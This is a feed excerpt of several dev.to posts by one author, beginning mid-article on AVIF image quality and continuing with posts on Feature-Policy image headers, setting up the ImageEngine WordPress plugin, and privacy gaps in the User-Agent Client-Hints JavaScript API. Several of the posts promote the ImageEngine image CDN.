&lt;p&gt;Below is a zoomed in portion of a bigger product image (&lt;a href="https://jolly-goodall-37651d.netlify.app/webshop/images/an-engagment-ring-sits-in-a-blue-box.jpg"&gt;JPEG&lt;/a&gt;, &lt;a href="https://jolly-goodall-37651d.netlify.app/webshop/images/squoosh%20app%20an-engagment-ring-sits-in-a-blue-box.avif"&gt;AVIF&lt;/a&gt;) which clearly illustrates the difference between a regularly optimized JPEG versus an AVIF image optimized by squoosh.app&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--re3kPTRE--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://i0.wp.com/css-tricks.com/wp-content/uploads/2020/11/ae6bed0a8d3b.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--re3kPTRE--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://i0.wp.com/css-tricks.com/wp-content/uploads/2020/11/ae6bed0a8d3b.gif" alt="Jpeg vs AVIF comparison"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The AVIF is indeed much lighter than the JPEG, but in this case the trade off between visual quality and lower file size has gone too far. This effect will not be as perceptible for all types of images, and therefore will be difficult to proactively troubleshoot in an automated build process that relies on responsive images syntax for format selection. &lt;/p&gt;

&lt;p&gt;Moreover, unlike JPEG, AVIF does not support progressive rendering. For a typical product detail page, progressive rendering might provide thea killer feature to improve key metrics like Largest Contentful Paint and other Core Web Vitals metrics. Even if a JPEG takes a little bit longer time to download due to its larger file size compared to AVIF, chances are that it will start rendering sooner than an AVIF thanks to its progressive rendering mechanism. This case is well illustrated by &lt;a href="https://jakearchibald.com/c/progressive-5f94067c.mp4"&gt;this video&lt;/a&gt; from Jake Achibald.&lt;/p&gt;

&lt;h2&gt;
  
  
  3) JPEG 2000 is Giving AVIF Tough Competition
&lt;/h2&gt;

&lt;p&gt;The key selling point of AVIF is its extremely low file size relative to an acceptable visual image quality. Early blogs and reports have been focusing on this. However, JPEG2000 (or JP2) may in some cases be a better tool for the job. JPEG2000 is a relatively old file format and does not get the same level of attention as AVIF, even if the &lt;a href="https://caniuse.com/jpeg2000"&gt;Apple side of the universe already supports JPEG2000&lt;/a&gt;. &lt;/p&gt;

&lt;p&gt;To illustrate, let’s look at this &lt;a href="https://picsum.photos/id/237/700/700"&gt;adorable puppy&lt;/a&gt;. The AVIF file size optimized by squoosh.app is 27.9KB with default settings. Converting the image to JPEG2000, again using &lt;a href="https://imageengine.io/blog/imageengine-introduces-jp2-jpeg2000-for-apple-devices/"&gt;ImageEngine&lt;/a&gt;, the file size is 26.7 KB. Not much difference, but enough to illustrate the case. &lt;/p&gt;

&lt;p&gt;What about the visual quality? &lt;a href="https://github.com/kornelski/dssim"&gt;DSSIM&lt;/a&gt; is a popular way to compare how visually similar an image is to the original image. The DSSIM metric compares the original image to a converted file, with a lower value indicating better quality. Losslessly converting the AVIF and JPEG2000 version to PNG, the DSSIM score is like this:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
  &lt;tr&gt;
   &lt;td&gt;
   &lt;/td&gt;
   &lt;td&gt;DSSIM (0 = equal to original)
   &lt;/td&gt;
   &lt;td&gt;Bytes
   &lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;
&lt;a href="https://jolly-goodall-37651d.netlify.app/webshop/images/237-700x700.jpg.jp2"&gt;JPEG2000&lt;/a&gt;
   &lt;/td&gt;
   &lt;td&gt;0.019
   &lt;/td&gt;
   &lt;td&gt;26.7 KB
   &lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;
&lt;a href="https://jolly-goodall-37651d.netlify.app/webshop/images/orinal237-700x700.avif"&gt;AVIF&lt;/a&gt;
   &lt;/td&gt;
   &lt;td&gt;0.012
   &lt;/td&gt;
   &lt;td&gt;27.9 KB
   &lt;/td&gt;
  &lt;/tr&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;AVIF has slightly better DSSIM but hardly visible to the human eye.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--EKhQw7cL--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/kfzkvx5796ze7kijglr8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--EKhQw7cL--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/kfzkvx5796ze7kijglr8.png" alt="puppy"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Right Tool for the Job
&lt;/h3&gt;

&lt;p&gt;The key takeaway from this article is that AVIF is hardly the “silver bullet”, or the one image format to rule them all. First of all, it is still very early in the development of both encoders and decoders. In addition, AVIF is yet another format to manage. Like &lt;a href="https://jakearchibald.com/2020/avif-has-landed/"&gt;Jake Archibald also concludes in his article&lt;/a&gt;, offering 3+ versions of each image on your webpage is a bit of a pain unless the entire workflow (resize, compress, convert, select, deliver) is all automated.&lt;/p&gt;

&lt;p&gt;Also, like we’ve seen, just because a browser supports AVIF, it doesn't mean that it is the best choice for your users.&lt;/p&gt;

&lt;p&gt;Using responsive images and adding AVIF to the list of image formats to pre-create is better than not considering AVIF at all. A potential challenge is that the browser will then pick AVIF if it’s supported regardless of whether AVIF is the right tool or not. &lt;/p&gt;

&lt;p&gt;However, using an &lt;a href="http://imageengine.io/"&gt;image CDN like ImageEngine&lt;/a&gt;, will to a greater extent be able to dynamically choose between supported formats and make a qualified guess whether WEBP, JPEG2000 or AVIF will give the best user experience. Using an Image CDN to automate the image optimization process will take into account browser compatibility, image payload size and visual quality.&lt;/p&gt;

</description>
      <category>avif</category>
      <category>images</category>
      <category>webdev</category>
      <category>webperf</category>
    </item>
    <item>
      <title>Comply with Permission-Policies (Feature-Policies) with an Image CDN</title>
      <dc:creator>Jon Arne S.</dc:creator>
      <pubDate>Tue, 25 Aug 2020 13:41:13 +0000</pubDate>
      <link>https://dev.to/jonarnes/comply-with-permission-policies-feature-policies-with-an-image-cdn-3m71</link>
      <guid>https://dev.to/jonarnes/comply-with-permission-policies-feature-policies-with-an-image-cdn-3m71</guid>
      <description>&lt;p&gt;It's already challenging enough to create a website that is blazing fast, adheres to all the latest best practices and offers optimal experience for various network conditions and device types.&lt;/p&gt;

&lt;p&gt;As the website and its codebase evolves over time, it can become even harder to maintain the desired user experience over time. To prevent UX deterioration, it’s often a good idea to place guardrails which ensure that crucial website elements, such as images, hold to a certain criteria. In this article, we are going to look at a robust mechanism which helps to steer your website in the right direction - an HTTP header called &lt;code&gt;Feature Policies&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Note: Feature Policies are soon to change name to "&lt;a href="https://github.com/w3c/webappsec-permissions-policy/pull/379"&gt;Permission Policies&lt;/a&gt;". In the following, we'll continue to talk about Feature Policies as this is what is still implemented in the wild.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Feature Policy Overview
&lt;/h2&gt;

&lt;p&gt;Feature policies comprise a set of rules you can selectively define in relation to various browser features and APIs to enforce the desired best practices for your website. For instance, you can ensure that under no conditions a user on a device with a small viewport will receive an oversized, unoptimized image - this effectively prevents layout thrashing and avoids wasting user’s bandwidth.&lt;/p&gt;

&lt;p&gt;Feature Policy might remind you of Content Security Policy - you control which origins can use which features, both in the top-level browsing context and in any embedded frames. It’s worth noting that preventing the use of the sub-optimal functionality requires explicitly specifying a policy that disables the features as everything is allowed by default to maintain backwards compatibility.&lt;/p&gt;

&lt;p&gt;Here’s an example of a policy which covers all bases when it comes to optimal image delivery:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Feature-Policy: legacy-image-formats ‘none’; oversized-images ‘none’; unoptimized-images ‘none’; unsized-media
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;&lt;code&gt;legacy-image-formats&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Prevents browser from displaying any images in legacy formats:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;oversized-images&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Disables the use of images whose sizes that are much bigger than the containers.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;unoptimized-images&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Detects and blocks any images with large byte-per-pixel ratio.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;unsized-media&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Allows developers to enforce that image/video elements have explicit dimensions.&lt;/p&gt;

&lt;p&gt;If any image matches any of the first three rules, a lightweight placeholder will be rendered in place of it. As to image and video elements without explicitly defined dimensions, the browser will set the default size of 300x150.&lt;/p&gt;

&lt;p&gt;You are also allowed to split one statement into several headers, like so:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Feature-Policy: legacy-image-formats ‘none’; Feature-Policy: oversized-images ‘none’; Feature-Policy: unoptimized-images ‘none’; Feature-Policy: unsized-media ‘none’; 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;For each rule, you can define a list of allowed origins. &lt;code&gt;none&lt;/code&gt; in the example above is a keyword denoting that the rule is enforced across all browsing contexts. Adding your website could be done via another keyword called &lt;code&gt;self&lt;/code&gt;, while other origins must be spelled out:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Feature-Policy: legacy-image-formats ‘self’ https://third-party-service.com
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;As you can imagine, we don’t want to block it from accessing the images, hence you need to include CDNs origin into the list of allowed origins:&lt;/p&gt;

&lt;p&gt;Let’s take a look at a practical example of picking and adding an origin to the allowlist. When serving your image assets through an &lt;a href="https://imageengine.io/what-is-an-image-cdn/"&gt;Image CDN&lt;/a&gt;, you have a single high-resolution image included as a source in your markup. Image CDN picks it up and applies optimizations on-the-fly, returning the most suitable variation to the end user. To ensure this mechanism continues to function smoothly after introducing the aforementioned policies, you’d have to add your Image CDN’s origin to the allowlist:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Feature-Policy: legacy-image-formats https://img.cdn.imgeng.in;
Feature-Policy: oversized-images https://img.cdn.imgeng.in;
Feature-Policy: unoptimized-images https://img.cdn.imgeng.in;
Feature-Policy: unsized-media https://img.cdn.imgeng.in;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Feature Policy is a powerful tool that allows you to control the use of a variety of browser features and APIs, both on your own website and within iframes.&lt;/p&gt;

&lt;p&gt;Policies fall into two broad categories:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Enforcing best practices for good user experiences and avoid using outdated APIs&lt;/li&gt;
&lt;li&gt;Providing granular control over sensitive features with security and privacy implications&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Deciding which policies to apply and to what extent depends on your circumstances. For new content, you can start developing with all the features turned off. This approach ensures that none of the undesired functionality sneaks into your codebase. When applying a policy to the existing content, you need to test and verify that it continues to work as expected. This is especially important for embedded content: it’s a good idea to first observe effects on your own content before extending the rules to the third-party content that you do not control.&lt;/p&gt;

&lt;p&gt;As for image-related policies, using an &lt;a href="https://imageengine.io/"&gt;Image CDN&lt;/a&gt; saves a considerable amount of time, freeing you from all the heavy-lifting associated with efficiently delivering optimized, responsive images which comply with your image policies. Everything is handled for you behind the scenes automatically, without cutting corners: choosing the most appropriate format, resizing and reducing file size by applying smart refinements. The only thing you have to do is to add Image CDN’s origin to the list of allowed hosts - who wouldn’t want to instantly take a leap above the competition in just a few minutes?&lt;/p&gt;

</description>
      <category>webperf</category>
      <category>security</category>
      <category>imagecdn</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Image CDN Plugin for WordPress - Simplify and Speed Up Image Delivery</title>
      <dc:creator>Jon Arne S.</dc:creator>
      <pubDate>Tue, 11 Aug 2020 07:47:45 +0000</pubDate>
      <link>https://dev.to/jonarnes/image-cdn-plugin-for-wordpress-simplify-and-speed-up-image-delivery-3cae</link>
      <guid>https://dev.to/jonarnes/image-cdn-plugin-for-wordpress-simplify-and-speed-up-image-delivery-3cae</guid>
      <description>&lt;p&gt;As a CMS, WordPress makes it incredibly easy to use and manage images on your website. And, rightly so, as no website today is complete without them - both from an aesthetic and user experience perspective.&lt;br&gt;
However, they can be a burden in terms of your average page weight and, in turn, your general website performance. In fact, it’s one of the top 3 contributors to page weight according to Google. &lt;br&gt;
Luckily, there are image optimization solutions out there that don’t require technical knowledge to implement. One, in particular, stands out for its holistic approach to image optimization with a strong focus on mobile - &lt;a href="https://imageengine.io"&gt;ImageEngine&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why use an Image CDN for Wordpress?
&lt;/h2&gt;

&lt;p&gt;As many as ⅓ users leave a website that takes 1 second longer to load. Furthermore, Google themselves use page loading times as a ranking factor according to various user-centric performance metrics. &lt;/p&gt;

&lt;p&gt;Since last year, Google is also prioritizing ranking websites according to mobile performance thanks to mobile-first indexing.&lt;/p&gt;

&lt;p&gt;Unfortunately, WordPress does the bare minimum in terms of image optimization. Via responsive syntax, WordPress can only serve a limited number of differently sized versions of an image based on the screen size of the accessing device. It doesn’t take into account at all the deeper context, like which image formats are best on which browsing platforms or how to scale compression while maintaining viewing quality.&lt;br&gt;
Obviously, the answer isn’t to get rid of images altogether but to find a way to limit their impact.&lt;/p&gt;

&lt;p&gt;That’s exactly what &lt;a href="https://imageengine.io/what-is-an-image-cdn/"&gt;Image CDNs&lt;/a&gt; are for. &lt;/p&gt;

&lt;p&gt;According to Google, an Image CDN can reduce your image file sizes by &lt;a href="https://web.dev/image-cdns/"&gt;40-80%&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  What is the ImageEngine Image CDN?
&lt;/h2&gt;

&lt;p&gt;While any Image CDN is a step in the right direction, ImageEngine takes things even further.&lt;br&gt;
ImageEngine is an intelligent, device-aware image CDN with unprecedented flexibility to deliver images optimally for different types of devices, operating systems, and screen sizes.&lt;br&gt;
ImageEngine uses WURFL device detection to read everything it can about the context of the accessing device and adapt appropriately.&lt;br&gt;
In today’s world, where the range of devices is growing exponentially, this is the closest you’ll get to build a level of future-proofing into your image optimization.&lt;br&gt;
On the CDN side, optimized images are cached across the globe in over 20 PoPs, each of which has device-detection built into their business logic.&lt;/p&gt;

&lt;p&gt;Just some of the steps ImageEngine takes to optimize images are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Use next-gen formats like WebP or jpg2000&lt;/li&gt;
&lt;li&gt;Resize images according to screen size&lt;/li&gt;
&lt;li&gt;Apply maximum compression without tangibly affecting image quality&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Smartly using next-gen formats alone can decrease total image payloads by up to 80%:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--qG9MytfD--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/n87gntbihn35sfuznexs.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--qG9MytfD--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/n87gntbihn35sfuznexs.png" alt="ImageEngine Image CDN savings"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;A notable new feature is support for &lt;a href="https://medium.com/imageengine/faster-image-delivery-with-chromes-lite-mode-93900eac126e"&gt;data saving mode&lt;/a&gt; on Chrome browsers, decreasing payloads even further by deprioritizing viewing quality.&lt;/p&gt;

&lt;h2&gt;
  
  
  How to use Image CDN with ImageEngine - Step by Step
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Step 1: Sign up for ImageEngine
&lt;/h3&gt;

&lt;p&gt;You can &lt;a href="https://imageengine.io/signup"&gt;head here to sign up&lt;/a&gt; for a free 60-day trial of ImageEngine. You’ll also need to provide ImageEngine with the URL of your website. Later, you’ll provide ImageEngine with the origin URL of your images. This can be the same as your website or it can be an Amazon S3 bucket or Google Cloud Storage URL.&lt;/p&gt;

&lt;p&gt;The &lt;a href="https://imageengine.io/docs/setup/signup"&gt;entire process is detailed here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;In the final step, ImageEngine will provide you with a Delivery Address where it will serve your images from:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--op0cPGq3--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/gv1eikd669s52q3u72fc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--op0cPGq3--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/gv1eikd669s52q3u72fc.png" alt="Delivery address"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You can copy this now or get it from your ImageEngine dashboard later.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2: Install the Image CDN plugin
&lt;/h3&gt;

&lt;p&gt;The &lt;a href="https://wordpress.org/plugins/image-cdn/"&gt;Image CDN plugin&lt;/a&gt; can be installed just like any other WordPress plugin. Just head to your WordPress backend and then to Plugins -&amp;gt; Add New. Find the Image CDN plugin by &lt;a href="https://wordpress.org/plugins/search/imageengine/"&gt;searching for “ImageEngine”&lt;/a&gt;, and install and activate it.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3: Serve optimize images via ImageEngine
&lt;/h3&gt;

&lt;p&gt;ImageEngine is an almost entirely hands-off platform - one of its main advantages.&lt;br&gt;
Just by providing it with your website domain, it fetches all your images from your website and renders optimized versions of them.&lt;br&gt;
All you need to do is replace your image src URLs with your new ImageEngine image-serving domain.&lt;br&gt;
To do this using the plugin, just got to Settings -&amp;gt; Image CDN in the main WordPress menu.&lt;br&gt;
Use the domain ImageEngine generated for you under ‘My Domain Names’ in your ImageEngine dashboard and enter it in the ‘CDN URL’ box in the Image CDN panel:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--MaorHFrE--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/y374rd339yh3p541krfj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--MaorHFrE--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/y374rd339yh3p541krfj.png" alt="Wordpress image cdn"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If your website is located in a subdirectory or you want to specify specific paths for images to optimize, you can do so using the ‘WordPress URL’ and ‘Included Directories’ boxes.&lt;br&gt;
‘Save changes’ to apply.&lt;/p&gt;

&lt;p&gt;And, that’s it. You should now be serving optimized images via your ImageEngine domain.&lt;/p&gt;

&lt;h3&gt;
  
  
  (Optional) Step 4: Adjust your image optimization preferences
&lt;/h3&gt;

&lt;p&gt;ImageEngine already does everything within its power to optimize your images by default. This is the recommended way to use the CDN if you want to get the most out of it.&lt;/p&gt;

&lt;p&gt;However, you can also use &lt;a href="https://imageengine.io/docs/implementation/directives/"&gt;property-based directives&lt;/a&gt; to exercise some control over how images should be altered. &lt;/p&gt;

&lt;p&gt;Directives can be added directly from the Image CDN panel under ‘ImageEngine Directives’.&lt;/p&gt;

&lt;p&gt;For example, you can specify:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Image resizing dimensions (e.g., ?imgeng=/w_300)&lt;/li&gt;
&lt;li&gt;Specific image formats (e.g., ?imgeng=/f_webp)&lt;/li&gt;
&lt;li&gt;The level of compression (e.g., ?imgeng=/w_300)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Or, any combination of directives.&lt;/p&gt;

&lt;h2&gt;
  
  
  What are the results?
&lt;/h2&gt;

&lt;p&gt;The proof is in the pudding. So, let’s see what kind of performance increase you can expect on your WordPress website.&lt;/p&gt;

&lt;p&gt;Here’s the performance of a typical image-heavy WordPress page using a predesigned theme:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--ijtvZSPI--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/z1gg2x25cnha5xbhmnwn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--ijtvZSPI--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/z1gg2x25cnha5xbhmnwn.png" alt="before imageenging"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--S55CZhoS--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/1ipr9eh8sn66vnqqhbuk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--S55CZhoS--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/1ipr9eh8sn66vnqqhbuk.png" alt="before imageengine"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;As you can see, the performance is subpar in terms of all of Google’s user-centric performance metrics. The First Contentful and Meaningful Paint are particularly concerning, as these factors measure the time it takes for the user to see any useful content generated.&lt;/p&gt;

&lt;p&gt;Using ImageEngine to serve and optimize our images, we get the following results:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--cDyqmM2Y--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/bzs9g36hr1n7nwrhvc71.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--cDyqmM2Y--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/bzs9g36hr1n7nwrhvc71.png" alt="Wordpress site results, optimised for performance with ImageEngine image cdn"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;As you can see, there are drastic improvements across the board to those all-important user-centric performance metrics. The total page loading time was halved according to the Speed Index. The same goes for the First Contentful Paint and First Meaningful Paint.&lt;br&gt;
The most drastic change came to Time to Interactive which is also one of the most important when it comes to avoiding frustrating your visitors.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;If you’re building and hosting a website using WordPress, chances are you don’t want technicalities to stand in your way of maintaining a digital presence for you or your business. And, neither should you.&lt;/p&gt;

&lt;p&gt;However, not optimizing your image content can lead to very real consequences.&lt;/p&gt;

&lt;p&gt;ImageEngine is one platform that needs the minimum time or skill investment to use - yet delivers some of the most impressive results. Using the &lt;a href="https://wordpress.org/plugins/image-cdn/"&gt;Image CDN plugin&lt;/a&gt;, makes using this service on your WordPress website a breeze.&lt;/p&gt;

</description>
      <category>imgecdn</category>
      <category>wordpress</category>
      <category>webperf</category>
      <category>webdev</category>
    </item>
    <item>
      <title>User-Agent Client-Hints Privacy Concerns</title>
      <dc:creator>Jon Arne S.</dc:creator>
      <pubDate>Mon, 08 Jun 2020 07:12:15 +0000</pubDate>
      <link>https://dev.to/jonarnes/user-agent-client-hints-privacy-concerns-1oo7</link>
      <guid>https://dev.to/jonarnes/user-agent-client-hints-privacy-concerns-1oo7</guid>
      <description>&lt;p&gt;&lt;em&gt;First posted here: &lt;a href="https://mpulp.mobi/2020/05/27/user-agent-client-hints-security-concerns/"&gt;https://mpulp.mobi/2020/05/27/user-agent-client-hints-security-concerns/&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://mpulp.mobi/2020/05/20/client-hints-and-feature-policies/"&gt;User-Agent Client-Hints (UA-CH)&lt;/a&gt; are just around the corner. The Chrome teams original plan was to deprecated the user-agent header and have it replaced by UA-CH. &lt;a href="https://groups.google.com/a/chromium.org/forum/m/#!msg/blink-dev/-2JIRNMWJ7s/yHe4tQNLCgAJ"&gt;The motivation was privacy&lt;/a&gt;. &lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The User-Agent string is an abundant source of passive fingerprinting information about our users. It contains many details about the user’s browser and device as well as many lies ("Mozilla/5.0", anyone?) that were or are needed for compatibility purposes, as servers grew reliant on bad User Agent sniffing.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The &lt;a href="https://wicg.github.io/ua-client-hints/"&gt;current implementation if UA-CH&lt;/a&gt;, provide access to the hints either through &lt;a href="https://wicg.github.io/ua-client-hints/#http-ua-hints"&gt;HTTP headers&lt;/a&gt;, or through a &lt;a href="https://github.com/WICG/ua-client-hints#for-example"&gt;JavaScript API&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Security Mechanisms for UA-CH as HTTP Headers in place
&lt;/h2&gt;

&lt;p&gt;The concerns related to the User-Agent are that it can be used to fingerprint users because of the relatively high entropy. The use case where the User-Agent are present in server logs or similar did get a lot of attention. &lt;/p&gt;

&lt;p&gt;The UA-CH attempts to solve this by the already existing &lt;a href="https://httpwg.org/http-extensions/client-hints.html#advertising-server-support"&gt;opt-in mechanism&lt;/a&gt; in the Client Hints specification combined with &lt;a href="https://wicg.github.io/ua-client-hints/#delegation"&gt;permission policy delegation&lt;/a&gt; of hints. Even if this solution does not offer any alternative to the User-Agent on &lt;a href="https://github.com/WICG/ua-client-hints/issues/66"&gt;the first navigation request&lt;/a&gt;, the Chrome team seems fixed on this idea.&lt;/p&gt;

&lt;p&gt;Anyway, the important thing is that &lt;em&gt;there is some&lt;/em&gt; security baked in. The high entropy hints are not available by default.&lt;/p&gt;

&lt;h2&gt;
  
  
  Access to UA-CH through JavaScript API is Wide Open
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;In Chrome version 85 I'm able to read all User-Agent Client-Hints whit out restrictions.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The spec says this about &lt;a href="https://wicg.github.io/ua-client-hints/#access"&gt;Access restrictions&lt;/a&gt;:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;User agents ought to exercise judgement before granting access to this information, and MAY impose restrictions above and beyond the secure transport and delegation requirements noted above. For instance, user agents could choose to reveal platform architecture only on requests it intends to download, giving the server the opportunity to serve the right binary. Likewise, they could offer users control over the values revealed to servers, or gate access on explicit user interaction via a permission prompt or via a settings interface.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  No opt-in
&lt;/h3&gt;

&lt;p&gt;To get access to the UA-CH through the JavaScript API, no opt-in is required. All high entropy data points are exposed to everyone, even 3rd parties! &lt;/p&gt;

&lt;p&gt;No additional effort is needed by any party to get access to the high entropy data points.&lt;/p&gt;

&lt;h3&gt;
  
  
  No User Approval
&lt;/h3&gt;

&lt;p&gt;The only hope for the future is that the access to the high entropy hints are provided through a &lt;a href="https://wicg.github.io/ua-client-hints/#interface"&gt;promise&lt;/a&gt;, which offers an asynchronous "hook" for browsers to interfere. Browsers have not yet taken this opportunity to protect the high entropy data points. Probably as expected because of to the vague language in the specification.&lt;/p&gt;

&lt;h3&gt;
  
  
  No Delegation Through Permission Policies
&lt;/h3&gt;

&lt;p&gt;The HTTP hints are only available at the 1st party origin by default. A &lt;a href="https://mpulp.mobi/2020/05/20/client-hints-and-feature-policies/"&gt;Permission Policy&lt;/a&gt; is a way to restrict or allow access to certain browser features. However, access to UA-CH through the JavaScript API  is not covered by the Permission Policy implementation. That means, that you can restrict a 3rd party server from receiving high entropy information about your users through HTTP headers, but the 3rd party server can still access the information through JavaScript.&lt;/p&gt;

&lt;h2&gt;
  
  
  Inconsistent Security Model
&lt;/h2&gt;

&lt;p&gt;Comparing the relatively high level of security and number of trade-offs for UA-CH in the HTTP header with the wide open access to UA-CH through &lt;code&gt;navigator.userAgentData.getHighEntropyValues()&lt;/code&gt;, a few questions comes to mind:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Why does Permission Policy only apply to UA-CH provided by HTTP headers and not the JavaScript API?&lt;/li&gt;
&lt;li&gt;Why is there no Opt-in using &lt;code&gt;accept-ch&lt;/code&gt; or similar?&lt;/li&gt;
&lt;li&gt;Why is there no user approval implemented in browsers when scripts are trying to access &lt;code&gt;navigator.userAgentData.getHighEntropyValues()&lt;/code&gt;? .&lt;/li&gt;
&lt;li&gt;Why is the spec so vague on the topic of gating the UA-CH client side?&lt;/li&gt;
&lt;li&gt;Are UA-CH in HTTP headers considered a higher risk than in JavaScript?&lt;/li&gt;
&lt;li&gt;Why aren’t the same information protected by the same mechanisms client side and server side? &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;🤔&lt;/p&gt;

&lt;p&gt;There is an &lt;a href="https://github.com/WICG/ua-client-hints/issues/37"&gt;open issue on github &lt;/a&gt;covering this topic.&lt;/p&gt;

